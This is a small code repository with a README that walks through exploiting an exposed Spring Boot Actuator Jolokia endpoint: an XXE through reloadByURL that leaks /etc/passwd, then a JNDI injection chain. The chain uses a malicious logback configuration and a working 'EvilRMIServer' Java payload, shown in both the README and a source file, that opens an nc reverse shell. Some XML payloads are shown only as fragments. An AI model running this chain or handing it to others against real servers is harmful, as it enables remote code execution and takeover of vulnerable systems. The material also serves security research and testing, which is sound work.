├── .gitignore
├── .gitmodules
├── README.md
├── logback.xml
└── maliciousRMIServer
├── .gitignore
├── LICENSE
├── README.md
├── pom.xml
└── src
└── main
└── java
└── hello
└── EvilRMIServer.java
/.gitignore:
--------------------------------------------------------------------------------
1 | # Compiled class file
2 | *.class
3 |
4 | # Log file
5 | *.log
6 |
7 | # BlueJ files
8 | *.ctxt
9 |
10 | # Mobile Tools for Java (J2ME)
11 | .mtj.tmp/
12 |
13 | # Package Files #
14 | *.jar
15 | *.war
16 | *.ear
17 | *.zip
18 | *.tar.gz
19 | *.rar
20 |
21 | # virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml
22 | hs_err_pid*
23 |
24 | **/.idea
25 | **/*.iml
26 |
27 | **/target
28 |
--------------------------------------------------------------------------------
/.gitmodules:
--------------------------------------------------------------------------------
1 | [submodule "actuator-testbed"]
2 | path = actuator-testbed
3 | url = https://github.com/artsploit/actuator-testbed
4 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Spring Boot Actuator (jolokia) XXE/RCE
2 |
3 | Information and payload from the following article: https://www.veracode.com/blog/research/exploiting-spring-boot-actuators
4 |
5 | **Edit 28/02/2020**: another article to achieve RCE using H2 Database [Remote Code Execution in Three Acts: Chaining Exposed Actuators and H2 Database Aliases in Spring Boot 2](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database)
6 |
7 | Tested on Spring Boot Actuator < 2.0.0 and Jolokia 1.6.0.
8 |
9 | If you have access to the following ressource `/actuator/jolokia` or `/jolokia` with Spring Boot Actuator and the following ressource: **reloadByURL**, this writeup can help you to exploit an XXE and ultimately and RCE.
10 |
11 | ### Setup the environment:
12 |
13 | ```bash
14 | git clone https://github.com/artsploit/actuator-testbed
15 | cd actuator-testbed
16 | mvn install
17 | mvn spring-boot:run
18 | ```
19 |
20 | ### 1. The jolokia XXE
21 |
22 | If the action **reloadByURL** exists, the logging configuration can be reload from an external URL: http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/127.0.0.1:1337!/logback.xml
23 |
24 | The XML parser behind logback is SAXParser. We can exploit this feature to trigger an XXE Out-Of-Band Error based using the following payload:
25 |
26 | ```xml
27 | # file logback.xml from the server 127.0.0.1:1337
28 |
29 | %remote;%int;]>
30 | &trick;
31 | ```
32 | ```xml
33 | # file file.dtd from the server 127.0.0.1:8080
34 |
35 | ">
36 | ```
37 |
38 | The server responds with an error and the content of the file `/etc/passwd` is directly contained in it:
39 |
40 | 
41 |
42 | ### 2. Jolokia RCE
43 |
44 | Exploiting an XXE is always nice but a RCE is always better.
45 | Instead of loading a _fake_ XML we can send a legit XML configuration file to logback and fully exploit the feature.
46 |
47 | 1. We ask to jolokia to load the new logging configuration file from an external URL
48 | 2. The [logging config](https://logback.qos.ch/manual/configuration.html#insertFromJNDI) contains a link to a malicious RMI server
49 | 3. The malicious RMI server will use a [template expression](https://www.veracode.com/blog/research/exploiting-jndi-injections-java) vulnerability to execute code on the remote server
50 |
51 | > In other words, JNDI is a simple Java API (such as 'InitialContext.lookup(String name)') that takes just one string parameter, and if this parameter comes from an untrusted source, it could lead to remote code execution via remote class loading.
52 |
53 | https://www.veracode.com/blog/research/exploiting-jndi-injections-java
54 |
55 | Content of the logback.xml file:
56 |
57 | ```xml
58 |
59 |
60 |
61 | ```
62 |
63 | Since my JDK is > 1.8.0_191 it's not possible to directly execute code using the RMI Service, so instead I will use this technique: https://www.veracode.com/blog/research/exploiting-jndi-injections-java
64 |
65 | Then the next step is to create a vulnerable RMI service:
66 |
67 | ```java
68 | import java.rmi.registry.*;
69 | import com.sun.jndi.rmi.registry.*;
70 | import javax.naming.*;
71 | import org.apache.naming.ResourceRef;
72 |
73 | public class EvilRMIServer {
74 | public static void main(String[] args) throws Exception {
75 | System.out.println("Creating evil RMI registry on port 1097");
76 | Registry registry = LocateRegistry.createRegistry(1097);
77 |
78 | //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
79 | ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
80 | //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
81 | ref.add(new StringRefAddr("forceString", "x=eval"));
82 | //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
83 | ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 1234 >/tmp/f']).start()\")"));
84 |
85 | ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
86 | registry.bind("jndi", referenceWrapper);
87 | }
88 | }
89 | ```
90 | pom.xml to compile this project:
91 | ```xml
92 |
93 |
95 | 4.0.0
96 |
97 | org.springframework
98 | RMIServer
99 | 0.0.1
100 |
101 |
102 | org.springframework.boot
103 | spring-boot-starter-parent
104 | 2.0.0.RELEASE
105 |
106 |
107 |
108 |
109 | org.springframework.boot
110 | spring-boot-starter-web
111 |
112 |
113 |
114 |
115 | 1.8
116 |
117 |
118 |
119 | ```
120 | Then when the two malicious servers are UP we can call the ressource ReloadByURL:
121 |
122 | http://127.0.0.1:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/127.0.0.1:1337!/logback.xml
123 |
124 | Then the template expression is executed and you get a reverse shell:
125 |
126 | 
127 |
128 | **Edit** Another writeup to exploit Jolokia https://blog.it-securityguard.com/how-i-made-more-than-30k-with-jolokia-cves/
129 |
130 | ## Ressources:
131 | * https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf
132 | * https://www.veracode.com/blog/research/exploiting-jndi-injections-java
133 | * https://www.veracode.com/blog/research/exploiting-spring-boot-actuators
134 | * https://github.com/artsploit/actuator-testbed
135 | * https://xz.aliyun.com/t/4258
136 |
--------------------------------------------------------------------------------
/logback.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
--------------------------------------------------------------------------------
/maliciousRMIServer/.gitignore:
--------------------------------------------------------------------------------
1 | # Compiled class file
2 | *.class
3 |
4 | # Log file
5 | *.log
6 |
7 | # BlueJ files
8 | *.ctxt
9 |
10 | # Mobile Tools for Java (J2ME)
11 | .mtj.tmp/
12 |
13 | # Package Files #
14 | *.jar
15 | *.war
16 | *.ear
17 | *.zip
18 | *.tar.gz
19 | *.rar
20 |
21 | # virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml
22 | hs_err_pid*
23 |
24 | **/.idea
25 | **/*.iml
26 |
27 | **/target
--------------------------------------------------------------------------------
/maliciousRMIServer/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2018 Darien
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/maliciousRMIServer/README.md:
--------------------------------------------------------------------------------
1 | # Spring Boot Actuator Hello-world
2 | Simple Spring Boot Actuator REST-full service
3 |
4 | # Compiling, unit test and package
5 |
6 | ```
7 | $ mvn clean install
8 | ```
9 |
10 | # Running
11 | ```
12 | $ java -jar target/RMIServer-0.1.0.jar
13 | ```
14 |
--------------------------------------------------------------------------------
/maliciousRMIServer/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
4 | 4.0.0
5 |
6 | org.springframework
7 | RMIServer
8 | 0.1.0
9 |
10 |
11 | org.springframework.boot
12 | spring-boot-starter-parent
13 | 2.0.0.RELEASE
14 |
15 |
16 |
17 |
18 | org.springframework.boot
19 | spring-boot-starter-web
20 |
21 |
22 |
23 |
24 | 1.8
25 |
26 |
27 |
28 |
29 |
30 | org.springframework.boot
31 | spring-boot-maven-plugin
32 |
33 |
34 |
35 |
36 |
37 |
--------------------------------------------------------------------------------
/maliciousRMIServer/src/main/java/hello/EvilRMIServer.java:
--------------------------------------------------------------------------------
1 |
2 | import java.rmi.registry.*;
3 | import com.sun.jndi.rmi.registry.*;
4 | import javax.naming.*;
5 | import org.apache.naming.ResourceRef;
6 |
7 | public class EvilRMIServer {
8 | public static void main(String[] args) throws Exception {
9 | System.out.println("Creating evil RMI registry on port 1097");
10 | Registry registry = LocateRegistry.createRegistry(1097);
11 |
12 | //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
13 | ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
14 | //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
15 | ref.add(new StringRefAddr("forceString", "x=eval"));
16 | //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
17 | ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 1234 >/tmp/f']).start()\")"));
18 |
19 | ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
20 | registry.bind("jndi", referenceWrapper);
21 | }
22 | }
--------------------------------------------------------------------------------